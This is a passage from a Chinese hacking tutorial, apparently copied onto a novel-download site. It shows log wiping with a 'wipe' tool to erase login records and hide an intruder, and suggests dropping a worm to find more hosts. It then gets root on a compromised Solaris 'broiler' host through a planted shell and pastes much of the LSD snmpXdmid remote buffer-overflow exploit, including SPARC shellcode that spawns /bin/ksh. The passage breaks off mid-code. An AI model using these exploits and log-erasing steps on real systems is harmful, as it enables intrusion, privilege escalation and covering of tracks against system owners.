全本小说网,上万本全本小说供您下载阅读。
最新网址:www.shukuge.info

分节阅读 23

作者:翟羽佳
更新时间:2017-10-19 22:00:00
t 日志清除。

    方法:./wipe u oracle;./wipe w oracle;./wipe l oracle

    #./wipe u oracle;./wipe w oracle;./wipe l oracle

    Patching /var/adm/utmp .... Done.

    Patching /var/adm/utmpx .... Done.

    Patching /var/adm/wtmp .... Done.

    Patching /var/adm/wtmpx .... Done.

    Patching /var/adm/lastlog .... Done.

    其中oracle为刚才登陆的用户名。

    小技巧:我们可以用 ./wipe u oracle 隐藏自己。

    运行:./wipe u oracle 前

    # w

    下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01

    用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令

    oracle    pts/1   下午 20:00        3          w

    运行:./wipe u oracle 后

    # w

    下午 20:15 1 user, 平均负荷: 0.00, 0.00, 0.01

    用户名   终端号   登入时间   闲置   JCPU   PCPU   执行命令

    最后,我们可以放个worm寻找更多机子。

    当然,我们的目的不是为了入侵。帮主机打上补丁是最好的主意。

    解决方法:chmod -s /usr/bin/lpset

    『第26天』Sunos(二)

    接着昨天的,今天,我们来看看Sunos的远程溢出。

     

    本次范例需要的系统及程序情况如下:

    操作系统:Window2000 To Sunos 5.8

    对方操作系统:Sunos 5.8

    程序(一):snmpxdmid.c

    本机IP:127.0.0.1

    测试IP:127.0.0.29

    新程序说明:“snmpxdmid.c”是利用Rpc的snmpxdmid服务写的exploit。

    Solaris snmpXdmid 远程缓冲区溢出漏洞:

    Solaris 2.6/7/8三个版本都携带了一个名为snmpXdmid的RPC服务,这个服务主要用

    于在SNMP管理请求和DMI请求之间建立一种映射/转换关系。

    在 UXIX 中,Desktop Management Interface (DMI) 和 SNMP 是两个协调工作的远程管理协议。Sun Microsystems 创建了SNMPxDMID(/usr/lib/dmi/snmpXdmid)映射守护进程来连接这两个协议。此守护进程传输 SNMP 请求给 DMI,但是发现它在处理‘INDICATION’时存在缓冲区溢出问题。本地和远程攻击者利用此漏洞能获得超级用户特权。

    测试开始:

    telnet ***.***.***.***

    * telnet上我的肉鸡。

    SunOS 5.8

    login: cnhack

    Password:

    Last login: Sun Jul 29 19:37:19 from 127.0.0.1

    Sun Microsystems Inc. SunOS 5.8 Generic February 2000

    $

    $./usr/man/man5/shell

    #

    * 取得root权限。

    # cat > snmpxdmid.c

    * 把exploit贴到主机上。

    /*## copyright LAST STAGE OF DELIRIUM mar 2001 poland *://lsd-pl.net/ #*/

    /*## snmpXdmid #*/

    /* as the final jump to the assembly code is made to the heap area, this code */

    /* also works against machines with non-exec stack protection turned on */

    /* due to large data transfers of about 128KB, the code may need some time to */

    /* proceed, so be patient */

    #include 

    #include 

    #include 

    #include 

    #include 

    #include 

    #include 

    #include 

    #include 

    #define SNMPXDMID_PROG 100249

    #define SNMPXDMID_VERS 0x1

    #define SNMPXDMID_ADDCOMPONENT 0x101

    char findsckcode[]=

    "\x20\xbf\xff\xff" /* bn,a  */

    "\x20\xbf\xff\xff" /* bn,a  */

    "\x7f\xff\xff\xff" /* call  */

    "\x33\x02\x12\x34"

    "\xa0\x10\x20\xff" /* mov 0xff,%l0 */

    "\xa2\x10\x20\x54" /* mov 0x54,%l1 */

    "\xa4\x03\xff\xd0" /* add %o7,-48,%l2 */

    "\xaa\x03\xe0\x28" /* add %o7,40,%l5 */

    "\x81\xc5\x60\x08" /* jmp %l5+8 */

    "\xc0\x2b\xe0\x04" /* stb %g0,[%o7+4] */

    "\xe6\x03\xff\xd0" /* ld [%o7-48],%l3 */

    "\xe8\x03\xe0\x04" /* ld [%o7+4],%l4 */

    "\xa8\xa4\xc0\x14" /* subcc %l3,%l4,%l4 */

    "\x02\xbf\xff\xfb" /* bz  */

    "\xaa\x03\xe0\x5c" /* add %o7,92,%l5 */

    "\xe2\x23\xff\xc4" /* st %l1,[%o7-60] */

    "\xe2\x23\xff\xc8" /* st %l1,[%o7-56] */

    "\xe4\x23\xff\xcc" /* st %l2,[%o7-52] */

    "\x90\x04\x20\x01" /* add %l0,1,%o0 */

    "\xa7\x2c\x60\x08" /* sll %l1,8,%l3 */

    "\x92\x14\xe0\x91" /* or %l3,0x91,%o1 */

    "\x94\x03\xff\xc4" /* add %o7,-60,%o2 */

    "\x82\x10\x20\x36" /* mov 0x36,%g1 */

    "\x91\xd0\x20\x08" /* ta 8 */

    "\x1a\xbf\xff\xf1" /* bcc  */

    "\xa0\xa4\x20\x01" /* deccc %l0 */

    "\x12\xbf\xff\xf5" /* bne  */

    "\xa6\x10\x20\x03" /* mov 0x03,%l3 */

    "\x90\x04\x20\x02" /* add %l0,2,%o0 */

    "\x92\x10\x20\x09" /* mov 0x09,%o1 */

    "\x94\x04\xff\xff" /* add %l3,-1,%o2 */

    "\x82\x10\x20\x3e" /* mov 0x3e,%g1 */

    "\xa6\x84\xff\xff" /* addcc %l3,-1,%l3 */

    "\x12\xbf\xff\xfb" /* bne  */

    "\x91\xd0\x20\x08" /* ta 8 */

    ;

    char shellcode[]=

    "\x20\xbf\xff\xff" /* bn,a  */

    "\x20\xbf\xff\xff" /* bn,a  */

    "\x7f\xff\xff\xff" /* call  */

    "\x90\x03\xe0\x20" /* add %o7,32,%o0 */

    "\x92\x02\x20\x10" /* add %o0,16,%o1 */

    "\xc0\x22\x20\x08" /* st %g0,[%o0+8] */

    "\xd0\x22\x20\x10" /* st %o0,[%o0+16] */

    "\xc0\x22\x20\x14" /* st %g0,[%o0+20] */

    "\x82\x10\x20\x0b" /* mov 0x0b,%g1 */

    "\x91\xd0\x20\x08" /* ta 8 */

    "/bin/ksh"

    ;

    static char nop[]="\x80\x1c\x40\x11";

    typedef struct{

    struct{unsigned int len;char *val;}name;

    struct{unsigned int len;char *val;}pragma;

    }req_t;

    bool_t xdr_req(XDR *xdrs,req_t *objp){

    char *v=NULL;unsigned long l=0;int b=1;

    if(!xdr_u_long(xdrs,&l)) return(FALSE);

    if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);

    if(!xdr_bool(xdrs,&b)) return(FALSE);

    if(!xdr_u_long(xdrs,&l)) return(FALSE);

    if(!xdr_bool(xdrs,&b)) return(FALSE);

    if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),

    (xdrproc_t)xdr_char)) return(FALSE);

    if(!xdr_bool(xdrs,&b)) return(FALSE);

    if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),

    (xdrproc_t)xdr_char)) return(FALSE);

    if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);

    if(!xdr_u_long(xdrs,&l)) return(FALSE);

    return(TRUE);

    }

    main(int argc,char **argv){

    char buffer[140000],address[4],pch[4],*b;

    int i,c,n,vers=-1,port=0,sck;

    CLIENT *

友情链接